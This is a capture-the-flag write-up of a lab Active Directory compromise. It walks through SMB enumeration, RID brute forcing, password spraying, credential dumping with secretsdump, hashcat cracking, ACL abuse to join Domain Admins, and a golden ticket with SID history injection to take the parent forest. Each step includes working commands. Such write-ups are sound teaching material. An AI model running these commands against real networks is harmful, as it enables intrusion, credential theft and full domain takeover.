

## **CTF Solution Report**

Date: December 7, 2025

Target Environment: Active Directory (Parent-Child Domain Trust)

Attacker IP: 10.0.0.5

Goal: Compromise the Child Domain (SUB.MEGA.LOCAL) and escalate privileges to Enterprise Admin in the Parent Domain (MEGA.LOCAL).

---

## 1. Executive Summary

This assessment focused on an internal network penetration test of the SUB.MEGA.LOCAL domain. The attacker started with knowledge of only the Domain Controller IP (10.1.0.10).

Initial enumeration revealed a misconfigured SMB share containing a configuration file with a valid password but an incorrect username. Using a RID Brute Force attack, the attacker identified valid domain users and successfully mapped the password to the user hr\_juniors.

Blind network scanning revealed a second active host (10.1.0.100). Credential spraying confirmed the compromised user had Local Administrator rights on this workstation. Post-exploitation of this machine yielded multiple hashes; while the Administrator hash was uncrackable, the cached credentials for helpdesk\_guy were successfully recovered.

Finally, an ACL misconfiguration (GenericWrite) on the "Domain Admins" group was exploited to escalate privileges, followed by a Golden Ticket attack to compromise the entire forest.

---

## 2. Attack Chain & Methodology

### Phase 1: Reconnaissance & Validating Credentials

Objective: Identify valid credentials from leaked data.

The attacker began by enumerating SMB shares on the known Domain Controller (10.1.0.10) using the Guest account.

Command:

```
nxc smb 10.1.0.10 -u 'Guest' -p '' --shares
```

Result: A Public share was identified. The attacker then used smbclient to confirm the share listing and connect to the specific share to exfiltrate data.

Command (List Shares):

```
/usr/bin/smbclient -L //10.1.0.10 -N
```

Command (Connect to Share):

```
/usr/bin/smbclient //10.1.0.10/Public -N
```

Findings (The Red Herring):

Inside the share, a file named printer\_conf.xml was found containing credentials:

- User: SUB\it\_admin (Fake/Incorrect User)
- Password: Welcome2025!

Attempts to log in as it\_admin failed. Suspecting the username was incorrect but the password might be valid, the attacker performed a RID Brute Force to enumerate valid usernames on the domain.

Command:

```
nxc smb 10.1.0.10 -u 'Guest' -p '' --rid-brute
```

Result: The list of valid users included hr\_juniors.

The attacker then tested the found password Welcome2025! against the discovered user hr\_juniors.

Command:

```
nxc smb 10.1.0.10 -u hr_juniors -p 'Welcome2025!'
```

Result: Success. The credentials hr\_juniors>Welcome2025! were confirmed valid.

---

## Phase 2: Discovery & Lateral Movement

Objective: Locate other machines and identify admin privileges.

Unaware of any other machines, the attacker performed a blind scan of the entire subnet to find active targets.

Command:

```
nxc smb 10.1.0.0/24
```

Result: A new host was discovered at 10.1.0.100 (Host: CL02-HR).

The attacker immediately "sprayed" the valid hr\_juniors credentials against the entire network to check for access rights.

Command:

```
nxc smb 10.1.0.0/24 -u hr_juniors -p 'Welcome2025!'
```

Result:

- 10.1.0.10 (DC): (+) (Standard User)
- 10.1.0.100 (Client): (Pwn3d!) (Local Administrator)

It was confirmed that hr\_juniors possesses Local Administrator privileges strictly on the specific workstation CL02-HR (10.1.0.100). It is critical to note that these privileges are restricted to the local operating system of that host and do not extend to the domain level.

---

## Phase 3: Post-Exploitation & Credential Dumping

Objective: Extract high-privilege credentials from the workstation.

Leveraging Local Admin access, impacket-secretsdump was used to dump LSA secrets and cached credentials from 10.1.0.100.

Command:

```
impacket-secretsdump 'sub.mega.local/hr_juniors>Welcome2025!@10.1.0.100'
```

## Findings:

Two notable hashes were recovered:

1. Administrator: The NTLM hash was obtained, but attempts to crack it or Pass-the-Hash failed (likely a unique local password).
2. helpdesk\_guy: A DCC2 cached credential was found.

The attacker shifted focus to helpdesk\_guy, saving the hash to hash.txt and cracking it with rockyou.txt.

Command:

```
hashcat -m 2100 hash.txt /usr/share/wordlists/rockyou.txt --force
```

Result: Password cracked: P@ssw0rd.

---

## Phase 4: ACL Abuse (Privilege Escalation)

Objective: Abuse Active Directory permissions to become Domain Admin.

BloodHound data was collected and analyzed. The analysis revealed that helpdesk\_guy had GenericWrite permissions on the Domain Admins group.

Note on Exploitation Paths:

While GenericWrite allows for multiple exploitation techniques (such as modifying the group's owner or changing authentication attributes), the attacker chose to directly add a controlled user (hr\_juniors) to the group for simplicity.

The tool bloodyAD was used to execute this addition.

Command:

```
bloodyAD --host 10.1.0.10 -d sub.mega.local -u helpdesk_guy -p 'P@ssw0rd' add groupMember 'Domain Admins' hr_juniors
```

Verification:

Command:

```
nxc smb 10.1.0.10 -u hr_juniors -p 'Welcome2025!'
```

Result: (Pwn3d!) on the Domain Controller (10.1.0.10).

---

## Phase 5: Forest Dominance (Golden Ticket)

Objective: Compromise the Parent Domain (MEGA.LOCAL) via the Trust Relationship.

Having full control of the Child Domain Controller (DC02), the attacker proceeded to gather the necessary "ingredients" to forge a Golden Ticket. This attack allows the attacker to create a Kerberos

Ticket Granting Ticket (TGT) that is valid for the Child Domain but contains a SID History injection claiming to be an Enterprise Admin in the Parent Domain.

#### Step 1: Extract Child Domain Secrets (KRBtgt & SID)

The attacker dumped the domain secrets from the Child DC (10.1.0.10) to obtain the NTLM hash of the krbtgt account and the SID of the Child Domain.

Command:

```
impacket-secretsdump 'sub.mega.local/hr_juniors>Welcome2025!@10.1.0.10'
```

- Required Data Extracted:
  - krbtgt NTLM Hash: (e.g., 364f32...)
  - Child Domain SID: (e.g., S-1-5-21-1859...)

#### Step 2: Identify Parent Domain SID

To inject the correct privileges, the attacker needed the Security Identifier (SID) of the target Parent Domain (MEGA.LOCAL). This was retrieved by querying the Parent DC (10.0.0.10).

Command:

```
impacket-lookupsid 'sub.mega.local/hr_juniors>Welcome2025!@10.0.0.10'
```

- Required Data Extracted:
  - Parent Domain SID: (e.g., S-1-5-21-3990...)

#### Step 3: Forge the Golden Ticket

Using impacket-ticketer, the attacker created a forged TGT. The ticket was signed with the Child's krbtgt hash but included the Enterprise Admins SID (-519) from the Parent Domain in the extra-sid field.

Command:

```
impacket-ticketer -nthash <KRBtgt_HASH> -domain-sid <CHILD_SID> -domain sub.mega.local -extra-sid <PARENT_SID>-519 Administrator
```

#### Step 4: Load the Ticket

The generated ticket file (Administrator.ccache) was loaded into the current session's environment variable so that subsequent tools would use it for authentication.

Command:

```
export KRB5CCNAME=/home/kali/Administrator.ccache
```

#### Step 5: Pass-the-Ticket (Attack Execution)

Finally, the attacker connected to the Parent Domain Controller (DC01 at 10.0.0.10). By authenticating as the Child Administrator (SUB.MEGA.LOCAL/Administrator), the Parent DC inspected the ticket, saw the injected Enterprise Admin SID, and granted SYSTEM level access.

Command:

```
impacket-psexec SUB.MEGA.LOCAL/Administrator@dc01.mega.local -k -no-pass
```

Impact: SYSTEM level compromise of the Root Domain Controller and total control of the Active Directory Forest.